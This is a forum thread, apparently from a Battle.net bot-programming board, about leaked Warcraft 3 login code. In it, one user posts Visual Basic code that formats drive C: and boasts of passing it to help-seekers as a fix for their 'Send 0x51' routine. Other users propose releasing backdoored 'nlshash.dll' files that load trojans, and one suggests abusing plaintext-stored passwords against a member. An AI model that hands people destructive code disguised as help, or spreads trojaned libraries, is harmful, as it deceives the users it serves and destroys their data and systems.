ATTN: Authors of the alleged Warcraft 3 code

[Banana fanna fo fanna]

wtf dude like yah

[Soul Taker]

wtf dude like yah

Totally.  I'm getting a Dell!

[Arta]

Wtf, stop deleting the posts dude, you're ruining our conversations...

Then STAY ON TOPIC and STOP POSTING CRAP.

kthx.

[UserLoser.]

Wtf, stop deleting the posts dude, you're ruining our conversations...

Then STAY ON TOPIC and STOP POSTING CRAP.

kthx.

+1

[warz]

Haven't put it in any bot I have, yet.

[ChR0NiC]

Haven't put it in any bot I have, yet.

I had alot of jerks who constantly kept IM'ing me asking me for help to make it work, and surprise surprise they all got stuck at 0x51 and again surprise surprise all of their "Send 0x51" subs looked almost exactly indentical. Which shows me these guys haven't got a clue what they're doing.

So I told them to first do this !!!


Then after sending them on a wild goose chase I told them to implement this code into their bot. (Which should fix everything)

Code Select Expand


Private Declare Function SHFormatDrive Lib "shell32" _
 (ByVal hWnd As Long, ByVal Drive As Long, ByVal fmtID As  
  Long,  ByVal Options As Long) As Long

Private Declare Function GetDriveType Lib "kernel32" Alias _
"GetDriveTypeA" (ByVal nDrive As String) As Long

Private Const FORMAT_FULL = &H1


Add these API Declares

Code Select Expand


Public Function FormatDrive(Optional PermitNonRemovableFormat As Boolean = True) As Boolean

Dim sDrive As String
Dim lDrive As Long
Dim iDriveType As Integer
Dim iAns As Integer
Dim sDriveLetter
Dim lRet As Long

sDrive = "C"
sDriveLetter = sDrive
If Len(sDrive) = 1 Then sDriveLetter = sDriveLetter & ":\"
If Len(sDrive) = 2 And Right$(sDrive, 1) = ":" _
   Then sDriveLetter = sDrive & "\"


lDrive = Asc(Left(sDrive, 1)) - 65
iDriveType = DriveType(sDrive)
Select Case iDriveType

Case 2

lRet = SHFormatDrive(Me.hWnd, lDrive, HFFFF, FORMAT_FULL)
FormatDrive = lRet = 0
Case 3, 4, 5, 6
   If Not PermitNonRemovableFormat Then Exit Function
   lRet = SHFormatDrive(Me.hWnd, lDrive, HFFFF, FORMAT_FULL)
   FormatDrive = lRet = 0
Case Else 'no such drive
   Exit Function
End Select

End Function

Private Function DriveType(Drive As String) As Integer

Dim sAns As String, lAns As Long

'fix bad parameter values
If Len(Drive) = 1 Then Drive = Drive & ":\"
If Len(Drive) = 2 And Right$(Drive, 1) = ":" _
   Then Drive = Drive & "\"

DriveType = GetDriveType(Drive)

End Function


And I told them to put that right to execute during the "Send 0x51" form.
Now anybody who is even smart enough to read should realize it says FORMATDRIVE !!! in there....but w/e it got them to stop bugging me, some of them I haven't seen for at least a few days now

[Lenny]

I had alot of jerks who constantly kept IM'ing me asking me for help to make it work, and surprise surprise they all got stuck at 0x51 and again surprise surprise all of their "Send 0x51" subs looked almost exactly indentical. Which shows me these guys haven't got a clue what they're doing.

Isn't it ironic that you didn't write that code. And that its "almost exactly indentical" to this:

http://www.freevbcode.com/ShowCode.asp?ID=1371

[ChR0NiC]

Obviously I didn't write it.......but it's funny what garbage you can get so many people to put in their bots who have no idea what they are doing.

[Banana fanna fo fanna]

i wrote my fake bot src myself

better idea, "nlshash.dll" -- backdoored, load a trojan etc..

[iago]

i wrote my fake bot src myself

better idea, "nlshash.dll" -- backdoored, load a trojan etc..

Release as many fake NLS.dll's as you can, and I'll love you forever

[GoSuGaMING]

wow really... stop deleting my damn posts :X i think they are sexy

[Eli_1]

I think you getting run over by a bus would be pretty sexy.

[Banana fanna fo fanna]

gosu i thought we got rid of you...

[ChR0NiC]

gosu i thought we got rid of you...

Hmmmm, Gosu is all bragging about how he never connects to the forums using his "REAL IP" wow he is so LEET, ONE 1337 h4x0r  

GoSuGaMING: i never connect to the vl forums with my real ip
GoSuGaMING: they dont got shit on me
ChRoNiC XxXxXxXx: If they don't want you on the forums, why keep going back?
GoSuGaMING: pride man GOSU PRIDE

Jeeeeeeeeeez we should all fear the GoSu h4x0r

[Newby]

YaBB stores the passwords in plain text IIRC. Perhaps an admin could do something about him?